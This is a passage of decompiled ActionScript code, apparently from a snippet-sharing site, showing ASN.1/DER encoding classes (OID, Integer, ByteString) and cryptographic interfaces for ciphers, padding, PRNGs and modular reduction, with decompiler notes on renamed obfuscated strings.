                                _local_1.push(((_local_4 >> 21) | 128));
                                _local_1.push((((_local_4 >> 14) & 127) | 128));
                                _local_1.push((((_local_4 >> 7) & 127) | 128));
                                _local_1.push((_local_4 & 127));
                            }
                            else {
                                throw (new Error("OID element bigger than we thought. :("));
                            };
                        };
                    };
                };
                _local_2++;
            };
            this.len = _local_1.length;
            if (this.type == 0){
                this.type = 6;
            };
            _local_1.unshift(this.len);
            _local_1.unshift(this.type);
            _local_3 = new ByteArray();
            _local_2 = 0;
            while (_local_2 < _local_1.length) {
                _local_3[_local_2] = _local_1[_local_2];
                _local_2++;
            };
            return (_local_3);
        }
    
        public function toString():String
        {
            return ((DER.indent + this.oid.join(".")));
        }
    
        public function dump():String
        {
            return ((((((("OID[" + this.type) + "][") + this.len) + "][") + this.toString()) + "]"));
        }
    
    
    }
    class Integer extends BigInteger implements IAsn1Type 
    {
    
        /*private*/ var type:uint;
        /*private*/ var len:uint;
    
        public function Integer(_arg_1:uint, _arg_2:uint, _arg_3:ByteArray)
        {
            this.type = _arg_1;
            this.len = _arg_2;
            super(_arg_3);
        }
    
        public function getLength():uint
        {
            return (this.len);
        }
    
        public function getType():uint
        {
            return (this.type);
        }
    
        override public function toString(_arg_1:Number=0):String
        {
            return ((((((((DER.indent + "Integer[") + this.type) + "][") + this.len) + "][") + super.toString(16)) + "]"));
        }
    
        public function toDER():ByteArray
        {
            return (null);
        }
    
    
    }
    class ByteString extends ByteArray implements IAsn1Type 
    {
    
        /*private*/ var type:uint;
        /*private*/ var len:uint;
    
        public function ByteString(_arg_1:uint=4, _arg_2:uint=0)
        {
            this.type = _arg_1;
            this.len = _arg_2;
        }
    
        public function getLength():uint
        {
            return (this.len);
        }
    
        public function getType():uint
        {
            return (this.type);
        }
    
        public function toDER():ByteArray
        {
            return (DER.wrapDER(this.type, this));
        }
    
        override public function toString():String
        {
            return ((((((((DER.indent + "ByteString[") + this.type) + "][") + this.len) + "][") + Hex.fromArray(this)) + "]"));
        }
    
    
    }
    interface IPRNG 
    {
    
        function getPoolSize():uint;
        function init(_arg_1:ByteArray):void;
        function next():uint;
        function dispose():void;
        function toString():String;
    
    }
    interface IPad 
    {
    
        function pad(_arg_1:ByteArray):void;
        function unpad(_arg_1:ByteArray):void;
        function setBlockSize(_arg_1:uint):void;
    
    }
    interface ISymmetricKey 
    {
    
        function getBlockSize():uint;
        function encrypt(_arg_1:ByteArray, _arg_2:uint=0):void;
        function decrypt(_arg_1:ByteArray, _arg_2:uint=0):void;
        function dispose():void;
        function toString():String;
    
    }
    interface IAsn1Type 
    {
    
        function getType():uint;
        function getLength():uint;
        function toDER():ByteArray;
    
    }
    interface IStreamCipher extends ICipher 
    {
    
    }
    interface IMode extends ICipher 
    {
    
    }
    interface ICipher 
    {
    
        function getBlockSize():uint;
        function encrypt(_arg_1:ByteArray):void;
        function decrypt(_arg_1:ByteArray):void;
        function dispose():void;
        function toString():String;
    
    }
    interface IReduction 
    {
    
        function convert(_arg_1:BigInteger):BigInteger;
        function revert(_arg_1:BigInteger):BigInteger;
        function reduce(_arg_1:BigInteger):void;
        function mulTo(_arg_1:BigInteger, _arg_2:BigInteger, _arg_3:BigInteger):void;
        function sqrTo(_arg_1:BigInteger, _arg_2:BigInteger):void;
    
    }
    
    // _SafeStr_2 = "_a_-_---" (String#68, DoABC#2)
    // _SafeStr_7 = "_a_--_--" (String#469, DoABC#2)
    
    
    
    
    • Public Snippets
    • Channels Snippets